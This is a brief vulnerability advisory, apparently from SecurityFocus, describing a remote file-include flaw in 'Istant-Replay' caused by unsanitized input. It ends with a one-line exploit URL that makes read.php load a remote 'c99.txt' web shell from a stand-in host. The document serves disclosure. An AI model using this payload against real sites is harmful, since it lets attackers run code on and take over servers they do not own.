source: https://www.securityfocus.com/bid/28797/info

Istant-Replay is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[forum]/read.php?data=http://127.0.0.1/c99.txt?